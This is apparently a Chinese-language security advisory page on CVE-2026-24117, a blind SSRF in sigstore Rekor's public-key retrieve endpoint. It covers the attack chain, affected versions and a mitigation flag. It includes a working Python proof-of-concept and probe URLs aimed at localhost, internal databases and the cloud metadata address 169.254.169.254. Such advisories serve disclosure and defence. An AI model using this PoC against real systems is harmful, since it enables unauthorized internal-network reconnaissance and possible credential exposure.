IPBUF安全漏洞报告
English
CVE-2026-24117 CVSS 5.3 中危

CVE-2026-24117 Rekor API端点SSRF服务端请求伪造漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24117
漏洞类型
SSRF(服务端请求伪造)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
sigstore/rekor

相关标签

SSRF服务端请求伪造Blind SSRFsigstoreRekor软件供应链CVE-2026-24117API安全

漏洞概述

CVE-2026-24117是sigstore项目Rekor组件中的一个服务端请求伪造(SSRF)漏洞。Rekor是一个软件供应链透明度日志系统,用于记录和验证软件构建过程中的各种元数据。该漏洞存在于Rekor的/api/v1/index/retrieve接口中,该接口支持通过用户提供的URL检索公钥功能。攻击者可以利用这一特性,构造恶意URL让服务器向内部网络或外部恶意服务器发起请求。由于该SSRF漏洞只能发起GET请求,无法修改服务器状态,且响应不会返回给调用者,因此属于Blind SSRF(盲SSRF)类型。攻击者虽无法直接窃取数据,但可以通过探测内部网络服务来收集情报,为进一步攻击做准备。该漏洞影响Rekor 1.4.3及以下所有版本,已在1.5.0版本中修复。

技术细节

Rekor组件的/api/v1/index/retrieve接口在实现公钥检索功能时,直接使用用户输入的URL参数向指定地址发起HTTP GET请求。攻击者可以通过构造恶意的URL(如内网IP地址、localhost或内部服务地址),诱使服务器向目标发起请求。攻击流程如下:1)攻击者向/api/v1/index/retrieve端点发送包含恶意URL的请求;2)服务器使用HTTP GET方法访问攻击者指定的URL;3)由于是Blind SSRF,服务器无法获取响应内容,但可以与内部服务建立连接;4)攻击者通过观察响应时间或错误信息判断内部服务是否存在。典型攻击场景包括探测内网Web服务、访问内部管理接口、连接数据库端口等。该漏洞的危险性在于无需认证即可利用,且可作为内网渗透的入口点。修复方案在1.5.0版本中移除了通过URL获取公钥的功能,或增加URL白名单验证机制。

攻击链分析

STEP 1
步骤1
攻击者发现Rekor服务暴露的/api/v1/index/retrieve端点,该端点接受url参数用于获取公钥
STEP 2
步骤2
攻击者构造包含内网地址或恶意URL的请求,如http://127.0.0.1:8080或http://internal-db:3306
STEP 3
步骤3
服务器收到请求后,使用HTTP GET方法向攻击者指定的URL发起请求,建立与目标服务的连接
STEP 4
步骤4
虽然响应内容不会返回给攻击者(Blind SSRF),但攻击者可以通过响应时间判断端口是否开放
STEP 5
步骤5
攻击者利用收集到的内网信息,绘制内网拓扑图,为进一步渗透攻击做准备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-24117 SSRF PoC for Rekor # Target: /api/v1/index/retrieve endpoint # Note: This is a Blind SSRF - response is not returned import requests import sys def test_ssrf(target_url, payload_url): """ Test SSRF vulnerability in Rekor's /api/v1/index/retrieve endpoint Args: target_url: Base URL of Rekor instance (e.g., http://target:3000) payload_url: Malicious URL to probe (e.g., http://internal:8080) Returns: bool: True if request was made successfully """ endpoint = f"{target_url}/api/v1/index/retrieve" # Construct the request with user-controlled URL parameter params = { 'url': payload_url # Attacker-controlled URL } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Payload URL: {payload_url}") print(f"[*] Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2026-24117_poc.py <target_url> <probe_url>") print("Example: python cve-2026-24117_poc.py http://rekor.example.com http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] probe = sys.argv[2] print("=" * 50) print("CVE-2026-24117 Rekor SSRF Vulnerability Test") print("=" * 50) test_ssrf(target, probe) if __name__ == "__main__": main()

影响范围

sigstore/rekor <= 1.4.3

防御指南

临时缓解措施
如果无法立即升级,可使用启动参数--enable_retrieve_api=false禁用/api/v1/index/retrieve搜索端点,以临时规避该SSRF漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表